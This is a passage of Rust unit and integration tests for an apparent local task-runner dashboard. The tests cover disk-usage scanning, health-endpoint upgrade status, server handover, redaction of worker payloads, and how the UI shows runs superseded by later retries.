22888        tokio::time::timeout(Duration::from_secs(5), reached)
22889            .await
22890            .unwrap()
22891            .unwrap();
22892        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22893        let scans = duplicate_scans.clone();
22894        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22895            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22896            DiskCapacity::default()
22897        });
22898        assert!(changed.cache_bytes.is_none());
22899        assert!(changed.runs_bytes.is_none());
22900        release.send(()).unwrap();
22901        wait_for_disk_scan(&state).await;
22902        {
22903            let observation = state.lock().unwrap();
22904            assert!(observation.capacity.cache_bytes.is_none());
22905            assert!(observation.finished.is_none());
22906        }
22907        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22908            assert_eq!(scope, &new_scope);
22909            DiskCapacity {
22910                cache_bytes: Some(999),
22911                ..Default::default()
22912            }
22913        });
22914        wait_for_disk_scan(&state).await;
22915        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22916        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22917    }
22918
22919    #[tokio::test]
22920    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22921        let home = TempDir::new().unwrap();
22922        let scope = disk_test_scope(home.path());
22923        let state = Arc::new(Mutex::new(DiskObservation {
22924            scope: Some(scope.clone()),
22925            capacity: known_disk_capacity(),
22926            ..Default::default()
22927        }));
22928        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22929        wait_for_disk_scan(&state).await;
22930        {
22931            let mut observation = state.lock().unwrap();
22932            assert_eq!(observation.capacity.cache_bytes, Some(400));
22933            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22934            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22935        }
22936        DiskObservation::observe(&state, scope, |_| DiskCapacity {
22937            cache_bytes: Some(450),
22938            ..Default::default()
22939        });
22940        wait_for_disk_scan(&state).await;
22941        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22942    }
22943
22944    #[test]
22945    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22946        let home = TempDir::new().unwrap();
22947        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22948        assert_eq!(disk_capacity_size(home.path()), Some(0));
22949        std::fs::create_dir(home.path().join("nested")).unwrap();
22950        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22951        assert_eq!(disk_capacity_size(home.path()), Some(5));
22952        #[cfg(unix)]
22953        {
22954            // Unix distinguishes an invalid descendant lookup from absence.
22955            assert_eq!(
22956                disk_capacity_size(&home.path().join("nested/data/child")),
22957                None
22958            );
22959        }
22960        #[cfg(unix)]
22961        {
22962            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22963            assert_eq!(disk_capacity_size(home.path()), Some(5));
22964        }
22965    }
22966
22967    #[tokio::test]
22968    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22969        // `mode = "off"` for the same reason as the test above: a default
22970        // fixture repo falls back to `mode = "notify"`, which would make this
22971        // route's new `update` field a live, unauthenticated GitHub call on
22972        // every assertion in this suite that happens to hit `/api/health`.
22973        let repo = TempDir::new().expect("repo dir");
22974        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22975            .expect("write magi.toml");
22976        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22977
22978        let health = fx.get("/api/health").await.json();
22979        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22980        assert_eq!(
22981            health["update"]["available"], false,
22982            "checking is off, which reads as \"unknown\", not \"none\""
22983        );
22984        assert!(health["update"]["to"].is_null());
22985        assert!(
22986            health["upgrade"].is_null(),
22987            "nothing has ever asked this deck to upgrade"
22988        );
22989    }
22990
22991    #[tokio::test]
22992    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22993        let fx = Fixture::start().await;
22994        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22995
22996        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22997        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22998        progress.advance(crate::updater::Stage::Parking);
22999        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23000
23001        let health = fx.get("/api/health").await.json();
23002        assert_eq!(health["upgrade"]["stage"], "parking");
23003        assert_eq!(health["upgrade"]["from"], "0.5.1");
23004        assert_eq!(health["upgrade"]["to"], "0.5.2");
23005        let waiting_on = health["upgrade"]["waiting_on"]
23006            .as_str()
23007            .expect("waiting_on is set while parking a known run");
23008        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23009        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23010    }
23011
23012    #[tokio::test]
23013    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23014        let fx = Fixture::start().await;
23015        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23016        progress.advance(crate::updater::Stage::Done);
23017        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23018
23019        let health = fx.get("/api/health").await.json();
23020        assert_eq!(health["upgrade"]["stage"], "done");
23021        assert!(
23022            health["upgrade"]["waiting_on"].is_null(),
23023            "nothing to wait on once it is done"
23024        );
23025    }
23026
23027    /// The handover signal is seen however the race falls, and wakes its one
23028    /// waiter once per signal - nothing here can spin.
23029    #[tokio::test]
23030    async fn the_handover_signal_wakes_one_waiter_once() {
23031        let signal = Notify::new();
23032        // Signalled before anyone waits: the stored permit is not lost.
23033        signal.notify_one();
23034        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23035            .await
23036            .expect("an early signal is still seen");
23037        // One signal, one wake-up: a second wait does not resolve by itself.
23038        assert!(
23039            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23040                .await
23041                .is_err(),
23042            "a consumed signal must not wake a second time"
23043        );
23044        // Signalled while waiting.
23045        let signal = std::sync::Arc::new(signal);
23046        let waiter = tokio::spawn({
23047            let signal = std::sync::Arc::clone(&signal);
23048            async move { wait_for_handover(&signal).await }
23049        });
23050        tokio::time::sleep(Duration::from_millis(20)).await;
23051        assert!(!waiter.is_finished(), "nothing was signalled yet");
23052        signal.notify_one();
23053        tokio::time::timeout(Duration::from_secs(5), waiter)
23054            .await
23055            .expect("a late signal wakes the waiter")
23056            .expect("join");
23057    }
23058
23059    #[tokio::test]
23060    async fn health_says_how_long_a_handover_has_been_stuck() {
23061        let fx = Fixture::start().await;
23062        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23063        progress.advance(crate::updater::Stage::Replaced);
23064        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23065        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23066
23067        let health = fx.get("/api/health").await.json();
23068        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23069        assert!(stuck >= 600, "{stuck}");
23070        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23071        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23072    }
23073
23074    #[tokio::test]
23075    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23076        let home = tempfile::tempdir().expect("temp home");
23077        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23078        progress.advance(crate::updater::Stage::Parking);
23079        crate::updater::write_progress(home.path(), &progress).expect("seed");
23080        // What the second upgrade_and_restart and its handler do.
23081        let mut again = progress.clone();
23082        again.advance(crate::updater::Stage::Replaced);
23083        crate::updater::write_progress(home.path(), &again).expect("replaced");
23084        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23085        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23086        let after = crate::updater::read_progress(home.path()).expect("record");
23087        assert_eq!(after.stage, crate::updater::Stage::Parking);
23088    }
23089
23090    #[tokio::test]
23091    async fn health_does_not_call_a_live_parking_wait_stuck() {
23092        let fx = Fixture::start().await;
23093        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23094        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23095        progress.advance(crate::updater::Stage::Parking);
23096        let hours = Duration::from_secs(3 * 3600);
23097        progress.started_at = Timestamp::now() - hours;
23098        progress.updated_at = Timestamp::now() - hours;
23099        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23100        let _lease = crate::updater::LeaseGuard::enter(
23101            fx.home.path(),
23102            Some("20260905-000000-cd51".to_owned()),
23103        );
23104
23105        let health = fx.get("/api/health").await.json();
23106        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23107        assert!(health["upgrade"]["stuck_kind"].is_null());
23108        assert_eq!(health["upgrade"]["handover_alive"], true);
23109        let waiting_on = health["upgrade"]["waiting_on"]
23110            .as_str()
23111            .expect("waiting_on");
23112        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23113    }
23114
23115    fn idle_ui(home: &TempDir) -> Ui {
23116        let runs = home.path().join("runs");
23117        std::fs::create_dir_all(&runs).expect("runs dir");
23118        Ui::new(
23119            Queue::at(home.path().join("queue")),
23120            Questions::at(home.path().join("questions")),
23121            Talks::at(home.path().join("talks")),
23122            runs,
23123            home.path().to_path_buf(),
23124            PathBuf::from("/repo/magi"),
23125        )
23126        .with_launch(launch_idle)
23127    }
23128
23129    #[tokio::test]
23130    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23131        let home = TempDir::new().expect("temp home");
23132        let ui = idle_ui(&home);
23133        let lease = crate::worker::try_lease(home.path(), "scheduler")
23134            .expect("scheduler lease")
23135            .expect("free");
23136        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23137            .expect("request stop");
23138        let error = ui
23139            .start_detached_loop()
23140            .await
23141            .expect_err("transition is still live");
23142        assert_eq!(error.status, StatusCode::CONFLICT);
23143        assert!(error.message.contains("still running or stopping"));
23144        assert_eq!(
23145            crate::worker::control(home.path(), "scheduler").unwrap(),
23146            Some(crate::worker::Control::Stop)
23147        );
23148        drop(lease);
23149    }
23150
23151    #[tokio::test]
23152    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23153        let home = TempDir::new().expect("temp home");
23154        let ui = idle_ui(&home);
23155        let turns = ui
23156            .begin_talk_turn("active-chat")
23157            .expect("claim")
23158            .expect("free");
23159        let execution = crate::worker::try_lease(home.path(), "active-task")
23160            .expect("execution lease")
23161            .expect("free");
23162        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23163            .await
23164            .expect("bind loopback");
23165        let address = listener.local_addr().expect("address");
23166        let admissions = Arc::clone(&ui.admissions);
23167        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23168        let successor_started = std::sync::atomic::AtomicBool::new(false);
23169        tokio::time::timeout(
23170            Duration::from_secs(2),
23171            hand_over(home.path(), &admissions, served, || {
23172                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23173                Ok(1)
23174            }),
23175        )
23176        .await
23177        .expect("restart must not wait for execution")
23178        .expect("handover");
23179        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23180        // BSD may retain the address briefly after listener release. The real
23181        // successor uses the same bounded bind retry rather than a one-shot bind.
23182        let successor = bind_waiting(address)
23183            .await
23184            .expect("successor binds released address");
23185        assert_eq!(successor.local_addr().unwrap(), address);
23186        assert!(turns.owns(), "the chat lease survives restart");
23187        assert!(
23188            crate::worker::try_lease(home.path(), "active-task")
23189                .unwrap()
23190                .is_none()
23191        );
23192        drop(execution);
23193        drop(turns);
23194    }
23195
23196    #[tokio::test]
23197    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23198        let home = TempDir::new().expect("temp home");
23199        let ui = idle_ui(&home);
23200        let admission = ui.begin_admission().expect("admit send");
23201        let turn = ui
23202            .begin_talk_turn("active-chat")
23203            .expect("claim")
23204            .expect("free");
23205        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23206            .await
23207            .expect("bind loopback");
23208        let address = listener.local_addr().expect("address");
23209        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23210        let successor_called = std::sync::atomic::AtomicBool::new(false);
23211        let handover = hand_over(home.path(), &ui.admissions, served, || {
23212            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23213            Ok(1)
23214        });
23215        tokio::pin!(handover);
23216        // Poll exactly to the writer waiting on our admission guard. This
23217        // pins the race without sleeps or assumptions about task scheduling.
23218        std::future::poll_fn(|cx| {
23219            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23220            std::task::Poll::Ready(())
23221        })
23222        .await;
23223        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23224        assert!(
23225            ui.begin_admission().is_err(),
23226            "new ingress cannot race the drain"
23227        );
23228        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23229        drop(admission);
23230        tokio::time::timeout(Duration::from_secs(2), handover)
23231            .await
23232            .expect("only publication may delay restart")
23233            .expect("handover");
23234        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23235        assert!(
23236            turn.owns(),
23237            "the detached chat turn is not awaited or cancelled"
23238        );
23239        assert!(
23240            ui.begin_admission().is_err(),
23241            "old accepted connections stay closed"
23242        );
23243        drop(turn);
23244    }
23245
23246    #[test]
23247    fn health_worker_metadata_never_contains_payload_or_result() {
23248        let view = WorkerView::from(crate::worker::Job {
23249            id: "job".into(),
23250            sequence: 1,
23251            kind: "service".into(),
23252            key: "maintenance".into(),
23253            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23254            generation: "generation".into(),
23255            version: Some("1.2.3".into()),
23256            status: crate::worker::Status::Running,
23257            result: Some("private diagnostics".into()),
23258            pid: Some(4242),
23259            created_at: 1,
23260            finished_at: None,
23261        });
23262        let value = serde_json::to_value(view).expect("serialize public metadata");
23263        assert_eq!(value["version"], "1.2.3");
23264        assert_eq!(value["pid"], 4242);
23265        assert!(value.get("payload").is_none());
23266        assert!(value.get("result").is_none());
23267        assert!(!value.to_string().contains("private"));
23268    }
23269
23270    #[test]
23271    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23272        let home = TempDir::new().expect("temp home");
23273        let ui = idle_ui(&home);
23274        std::fs::write(
23275            home.path().join("daemon.json"),
23276            serde_json::json!({
23277                "schema": 2, "pid": 4242, "worker_protocol": 1,
23278                "updated_at": Timestamp::now().to_string(), "idle": true,
23279            })
23280            .to_string(),
23281        )
23282        .expect("status");
23283        let reading = daemon::read_status(home.path());
23284        assert!(Foreign::of(reading.as_ref()).is_none());
23285        let view = ui.runtime_loop_view(reading, &[]);
23286        assert!(view.running);
23287        assert!(view.owned);
23288    }
23289
23290    #[test]
23291    fn only_an_explicit_one_requests_a_resume() {
23292        assert!(!resume_requested(None));
23293        assert!(!resume_requested(Some("0".into())));
23294        assert!(!resume_requested(Some("".into())));
23295        assert!(resume_requested(Some("1".into())));
23296    }
23297
23298    #[test]
23299    fn an_error_is_visible_from_where_the_button_is() {
23300        // The alert used to sit in the flow under the header. On a phone
23301        // scrolled 13 500 px down to a run's action sheet that is off screen,
23302        // so tapping Resume and being told "the loop is running run b455
23303        // right now" looked exactly like a button that did nothing.
23304        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23305            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23306        assert!(
23307            alert.contains("position: fixed"),
23308            "an error about the thing under your thumb has to be visible from \
23309             where your thumb is: {alert}"
23310        );
23311        assert!(
23312            alert.contains("z-index: 25"),
23313            "above the dock (20) and the run-actions FAB (15), so neither \
23314             buries it: {alert}"
23315        );
23316        assert!(
23317            alert.contains("var(--tap)"),
23318            "and clear of the dock and the home indicator: {alert}"
23319        );
23320        // The FAB sits at the same height on the right. An error that covered
23321        // it would hide the button the operator reaches for next.
23322        assert!(
23323            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23324            "the FAB's column stays free: {alert}"
23325        );
23326    }
23327
23328    #[tokio::test]
23329    async fn an_older_attempt_says_what_replaced_it() {
23330        let fx = Fixture::start().await;
23331        let q = fx.queue();
23332        let runs = fx.runs();
23333        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23334        write_run(&runs, first, RunStatus::Stalled);
23335        write_run(&runs, second, RunStatus::Blocked);
23336
23337        let mut t = Task::new(
23338            "one task".to_owned(),
23339            "do it".to_owned(),
23340            PathBuf::from("/repo"),
23341            Source::Human,
23342        );
23343        t.runs = vec![first.to_owned(), second.to_owned()];
23344        q.put(&mut t).expect("put");
23345
23346        // Two cards with the same title and no hint which is which was the
23347        // question: "why are there two of the same, one stalled and one
23348        // blocked?" The older one now names its replacement.
23349        let rows = fx.get("/api/runs").await.json();
23350        let by = |short: &str| -> Value {
23351            rows.as_array()
23352                .unwrap()
23353                .iter()
23354                .find(|r| r["short"] == short)
23355                .cloned()
23356                .unwrap_or(Value::Null)
23357        };
23358        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23359        assert!(
23360            by("bbbb")["superseded_by"].is_null(),
23361            "the latest attempt is not superseded by anything"
23362        );
23363        // Front end: the note has to be rendered, not just carried.
23364        assert!(APP_JS.contains("run.superseded_by"));
23365        assert!(APP_JS.contains("Superseded by"));
23366    }
23367
23368    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23369        let mut t = Task::new(
23370            "one task".to_owned(),
23371            "do it".to_owned(),
23372            PathBuf::from("/repo"),
23373            Source::Human,
23374        );
23375        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23376        t.status = status;
23377        t
23378    }
23379
23380    #[test]
23381    fn source_link_picks_the_page_that_filed_the_task() {
23382        let agent = |node: &str| Source::Agent {
23383            run: "20260904-014455-ab12".to_owned(),
23384            node: node.to_owned(),
23385        };
23386        let chat = source_link(&agent("chat")).expect("chat link");
23387        assert_eq!(chat.kind, "chat");
23388        assert_eq!(chat.id, "20260904-014455-ab12");
23389        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23390        let run = source_link(&agent("implement")).expect("run link");
23391        assert_eq!(
23392            (run.kind, run.href.as_str()),
23393            ("run", "#/runs/20260904-014455-ab12")
23394        );
23395        assert_eq!(source_link(&Source::Human), None);
23396        assert_eq!(
23397            source_link(&Source::Issue {
23398                number: 3,
23399                repo: "o/r".to_owned()
23400            }),
23401            None
23402        );
23403        let odd = source_link(&Source::Agent {
23404            run: "a b/c".to_owned(),
23405            node: "chat".to_owned(),
23406        })
23407        .expect("link");
23408        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23409    }
23410
23411    #[test]
23412    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23413        assert!(
23414            !APP_JS.contains("src.node === \"chat\""),
23415            "inline href rule is back"
23416        );
23417        assert!(
23418            APP_JS.matches("sourceLinkOf(").count() >= 4,
23419            "helper must serve every page"
23420        );
23421        assert!(
23422            APP_JS.matches("openChatLink(").count() >= 3,
23423            "the run page still needs its explicit chat link"
23424        );
23425        assert!(
23426            !APP_JS.contains("const openChat = el("),
23427            "the Queue card duplicates its source label link again"
23428        );
23429        assert!(
23430            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23431            "the task page must link a chat source label too"
23432        );
23433    }
23434
23435    #[test]
23436    fn task_ref_carries_the_source_link_for_a_chat_task() {
23437        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23438        t.source = Source::Agent {
23439            run: "20260904-014455-ab12".to_owned(),
23440            node: "chat".to_owned(),
23441        };
23442        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23443        let v = serde_json::to_value(&out).expect("json");
23444        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23445        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23446        assert_eq!(v["source_label"], t.source.label());
23447
23448        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23449        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23450            .expect("json");
23451        assert!(v["source_link"].is_null(), "{v}");
23452    }
23453
23454    #[test]
23455    fn task_view_serializes_source_link() {
23456        let mut t = Task::new(
23457            "t".to_owned(),
23458            "t".to_owned(),
23459            PathBuf::from("/repo"),
23460            Source::Agent {
23461                run: "20260901-000000-aaaa".to_owned(),
23462                node: "implement".to_owned(),
23463            },
23464        );
23465        t.runs.clear();
23466        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23467        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23468        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23469    }
23470
23471    #[test]
23472    fn task_view_serializes_urgent_flag() {
23473        let mut t = Task::new(
23474            "t".to_owned(),
23475            "t".to_owned(),
23476            PathBuf::from("/repo"),
23477            Source::Human,
23478        );
23479        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23480        assert_eq!(v["urgent"], false, "{v}");
23481        t.urgent = true;
23482        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23483        assert_eq!(v["urgent"], true, "{v}");
23484        assert!(APP_JS.contains("task.urgent === true"));
23485    }
23486
23487    #[tokio::test]
23488    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23489        let fx = Fixture::start().await;
23490        let runs = fx.runs();
23491        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23492        write_run(&runs, old, RunStatus::Blocked);
23493        write_run(&runs, new, RunStatus::Merged);
23494        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23495        fx.queue().put(&mut t).expect("put");
23496
23497        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23498        let task = &view["task"];
23499        assert_eq!(task["status"], "done");
23500        assert_eq!(task["is_latest"], false);
23501        assert_eq!(task["latest"]["short"], "bbbb");
23502        assert_eq!(task["finished_by"]["id"], new);
23503        assert_eq!(task["finished_by"]["outcome"], "merged");
23504        assert_eq!(task["closed_by_hand"], false);
23505        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23506        assert!(APP_JS.contains("finished_by"));
23507        assert!(APP_JS.contains("superseded by run"));
23508    }
23509
23510    #[tokio::test]
23511    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23512        let fx = Fixture::start().await;
23513        let runs = fx.runs();
23514        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23515        write_run(&runs, old, RunStatus::Stalled);
23516        write_run(&runs, new, RunStatus::Blocked);
23517        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23518        fx.queue().put(&mut t).expect("put");
23519
23520        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23521        assert_eq!(task["status"], "held");
23522        assert_eq!(task["is_latest"], true);
23523        assert!(task["latest"].is_null());
23524        assert!(task["finished_by"].is_null());
23525        assert_eq!(task["closed_by_hand"], false);
23526    }
23527
23528    #[tokio::test]
23529    async fn a_direct_run_has_no_task_outcome() {
23530        let fx = Fixture::start().await;
23531        let runs = fx.runs();
23532        let id = "20260901-000000-aaaa";
23533        write_run(&runs, id, RunStatus::Blocked);
23534        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23535        assert!(view["task"].is_null());
23536    }
23537
23538    #[test]
23539    fn task_outcome_does_not_guess_a_finishing_run() {
23540        let a = "20260901-000000-aaaa";
23541        let b = "20260901-000000-bbbb";
23542        let c = "20260901-000000-cccc";
23543        let dir = tempfile::tempdir().expect("tempdir");
23544        write_run(dir.path(), a, RunStatus::Blocked);
23545        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23546        // `c` has no record: unreadable.
23547        let read = |id: &str| read_run(dir.path(), id).ok();
23548        // Neither a blocked run nor a no-op finished the task; the newest run is
23549        // unreadable and still named.
23550        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23551        let out = task_outcome(&t, a, 3, read);
23552        assert!(out.finished_by.is_none());
23553        assert!(out.closed_by_hand);
23554        let latest = out.latest.expect("latest");
23555        assert_eq!(latest.id, c);
23556        assert_eq!(latest.status, None);
23557        assert_eq!(latest.outcome, "record unreadable");
23558
23559        // A Ready run settles the task as done, so it is named as the finisher.
23560        write_run(dir.path(), c, RunStatus::Ready);
23561        let t = outcome_task(&[a, c], TaskStatus::Done);
23562        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23563        assert_eq!(out.finished_by.expect("finisher").id, c);
23564        assert!(!out.closed_by_hand);
23565
23566        // A resumed run id repeats: it is still the latest by id.
23567        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23568        assert!(task_outcome(&t, a, 3, read).is_latest);
23569    }
23570
23571    #[tokio::test]
23572    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23573        // The list route has known this since the card fix above; the detail
23574        // route — what an operator actually opens from a notification about
23575        // a blocked run — did not, and went on showing a bare red BLOCKED
23576        // chip for a run a retry had already finished.
23577        let fx = Fixture::start().await;
23578        let q = fx.queue();
23579        let runs = fx.runs();
23580        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23581        write_run(&runs, first, RunStatus::Blocked);
23582        write_run(&runs, second, RunStatus::Merged);
23583
23584        let mut t = Task::new(
23585            "one task".to_owned(),
23586            "do it".to_owned(),
23587            PathBuf::from("/repo"),
23588            Source::Human,
23589        );
23590        t.runs = vec![first.to_owned(), second.to_owned()];
23591        q.put(&mut t).expect("put");
23592
23593        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23594        assert_eq!(earlier["superseded_by"], "dddd");
23595        assert_eq!(earlier["latest_attempt"]["id"], second);
23596        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23597        assert_eq!(
23598            earlier["latest_attempt"]["resolved"], true,
23599            "the run that replaced it landed, so this one reads as settled"
23600        );
23601
23602        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23603        assert!(
23604            later["superseded_by"].is_null(),
23605            "the latest attempt is not superseded by anything"
23606        );
23607        assert!(
23608            later["latest_attempt"].is_null(),
23609            "the latest attempt has no later attempt of its own"
23610        );
23611
23612        // Front end: the detail page has to read the field this route now
23613        // carries, downgrade the chip, and link to the run that replaced it —
23614        // not just repeat the list card's own logic under a different name.
23615        // The link is built off `latest_attempt.id`, the server-resolved
23616        // full id, never a bare short string a client would have to guess a
23617        // full run from.
23618        assert!(APP_JS.contains("run.latest_attempt"));
23619        assert!(APP_JS.contains("data-superseded"));
23620        assert!(APP_JS.contains("#/runs/${latest.id}"));
23621    }
23622
23623    #[tokio::test]
23624    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23625        // A -> B -> C, all Blocked except the last. A's immediate successor
23626        // (superseded_by) is B, which is itself unresolved; what an operator
23627        // opening A's page actually needs is where the task's story stands
23628        // *now* - C, not B - without depending on whether C happens to be in
23629        // whatever page of /api/runs the client last cached.
23630        let fx = Fixture::start().await;
23631        let q = fx.queue();
23632        let runs = fx.runs();
23633        let (a, b, c) = (
23634            "20260901-000000-aaaa",
23635            "20260901-000000-bbbb",
23636            "20260901-000000-cccc",
23637        );
23638        write_run(&runs, a, RunStatus::Blocked);
23639        write_run(&runs, b, RunStatus::Blocked);
23640        write_run(&runs, c, RunStatus::Merged);
23641
23642        let mut t = Task::new(
23643            "retried twice".to_owned(),
23644            "do it".to_owned(),
23645            PathBuf::from("/repo"),
23646            Source::Human,
23647        );
23648        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23649        q.put(&mut t).expect("put");
23650
23651        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23652        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23653        assert_eq!(
23654            view["latest_attempt"]["id"], c,
23655            "the chain's current head, not the intermediate Blocked retry"
23656        );
23657        assert_eq!(view["latest_attempt"]["resolved"], true);
23658
23659        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23660        assert_eq!(mid["latest_attempt"]["id"], c);
23661        assert_eq!(mid["latest_attempt"]["resolved"], true);
23662    }
23663
23664    #[tokio::test]
23665    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23666        let fx = Fixture::start().await;
23667        let q = fx.queue();
23668        let runs = fx.runs();
23669
23670        // Still Blocked: the task is not resolved, so the older run must not
23671        // read as settled either.
23672        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23673        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23674        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23675        let mut t1 = Task::new(
23676            "still stuck".to_owned(),
23677            "do it".to_owned(),
23678            PathBuf::from("/repo"),
23679            Source::Human,
23680        );
23681        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23682        q.put(&mut t1).expect("put");
23683        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23684        assert_eq!(view1["latest_attempt"]["resolved"], false);
23685        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23686        assert_eq!(view1["latest_attempt"]["done"], true);
23687
23688        // Still running: the successor exists and must be reported as such.
23689        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23690        write_run(&runs, run_a, RunStatus::Blocked);
23691        write_run(&runs, run_b, RunStatus::Implementing);
23692        let mut t3 = Task::new(
23693            "retrying".to_owned(),
23694            "do it".to_owned(),
23695            PathBuf::from("/repo"),
23696            Source::Human,
23697        );
23698        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23699        q.put(&mut t3).expect("put");
23700        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23701        assert_eq!(view3["latest_attempt"]["id"], run_b);
23702        assert_eq!(view3["latest_attempt"]["resolved"], false);
